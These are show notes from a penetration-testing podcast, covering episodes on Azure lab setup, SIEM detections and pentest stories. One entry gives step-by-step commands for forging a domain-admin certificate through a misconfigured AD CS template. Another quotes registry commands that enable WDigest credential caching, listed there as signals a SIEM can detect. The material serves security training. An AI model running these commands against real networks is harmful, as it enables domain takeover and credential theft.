7MS #466: Attacking and Defending Azure AD Cloud (CARTP)

Happy new year friends! Today I share the good, bad, ugly, and BROKEN things I've come across while migrating our Light Pentest LITE training lab from on-prem VMware ESXi to Azure. It has been a fun and frustrating process, but my hope is that some of the tips in today's episode will save you some time/headaches/money should you setup a pentesting training camp in the cloud. Things I like No longer relying on a single point of failure (Intel NUC, switch, ISP, etc.) You can schedule VMs to auto-shutdown at a certain time each day, and even have Azure send you a notification before the shutdown so you can delay - or suspend altogether - the operation Things I don't like VMs are by default (I believe) joined to Azure AD, which I don't want. Here's how I got machines unjoined from Azure AD and then joined to my pwn.town domain: dsregcmd /leave Add-Computer -DomainName pwn.town -Restart Accidentally provision a VM in the wrong subnet? The fix may be rebuilding the flippin' VM (more info in today's episode). Just about every operation takes for freakin' ever. And it's confusing because if you delete objects out of the portal, sometimes they don't actually disappear from the GUI for like 5-30 minutes. Using backups and snapshots is archaic. You can take a snapshot in the GUI or PowerShell easy-peasy, but if you actually want to restore those snapshots you have to convert them to managed disks, then detach a VM's existing disk, and attach the freshly converted managed disks. This is a nightmare to do with PowerShell. Deleting data is a headache. I understand Azure is probably trying to protect you against deleting stuff and not being able to get it back, but they night a right-click > "I know what I'm doing, DELETE THIS NOW" option. Otherwise you can end up in situations where in order to delete data, you have to disable soft delete, undelete deleted data, then re-delete it to actually make it go away. WTH, you say? This doc will help it make more sense (or not). Things that are broken Promiscuous mode - just plain does not work as far as I can tell. So I can't do protocol poisoning exercises with something like Inveigh. Hashcat - I got CPU-based cracking working in ESXi by installing OpenCL drivers, but try as I may, I cannot get this working in Azure. I even submitted an issue to the hashcat forums but so far no replies. On a personal note, it has been good knowing you because I'm about to spend all my money on a new hobby: indoor skydiving.

5 Jan 202251min

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows: Grab Certi Grab Certify Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed: msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands: sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do: rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

29 Des 202144min

HAPPY 500 EPISODES, FRIENDS! That's right, 7MS turned 5-0-0 today, and so we asked John Strand of Black Hills Information Security to join us and talk about all things security, including the John/BHIS superhero origin story, the future of pentesting, the (perceived) cybersecurity talent shortage, how to get started with good security practices in your organization, and more! P.S. check out John's first visit to the show here.

22 Des 202158min

Today we have some cool updates on this SIEM-focused series we've been doing for a while. Specifically, I want to share that one of these solutions can now detect three early (and important!) warning signs that bad things are happening in your environment: ASREPRoasting WDigest flag getting flipped (reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1) Restricted admin mode getting enabled (reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f) - see n00py's blog for more info

16 Des 202121min

Hi everybody, today we're continuing a series we started way back in June called Securing Your Mental Health. Today I talk about some easy and relatively cheap things I'm doing to try and shutdown negative thoughts, punch imposter syndrome in the face, and be an overall happier and more positive person.

13 Des 202117min

Hey friends, today I'm giving you a peek behind the curtain of our Light Pentest LITE training to talk about the software/hardware we use to make it sing, the growing pains - and OMG(!) moments - that forced us to build in more infrastructure redundancy, and the cool (and expensive!) cloud options we're considering to offer a self-paced version of the course.

2 Des 202151min

Today's tale of pentesting has a bunch of tips to help you maximize your pwnage, including: The new Responder DHCP poisoning module All the cool bells and whistles from CrackMapExec which now include new lsass-dumping modules! Speaking of lsass dumping, here's a new trick that works if you have Visual Studio installed (I bet it will be detected soon). I close out today's episode with a story about how my Cobalt Strike beacons got burned by a dating site!

24 Nov 202148min

Today we continue our SIEM/SOC evaluation series with a closer look at one particular managed solution and how it fared (very well) against a very hostile environment: the Light Pentest LITE pentesting course! Spoiler alert: this solution was able to detect: RDP from public IPs Password spraying Kerberoasting Mimikatz Recon net commands Hash dumping Hits on a "honey domain admin" account Users with non-expiring passwords Hits on the SSH/FTP/HTTP honeypot

17 Nov 202139min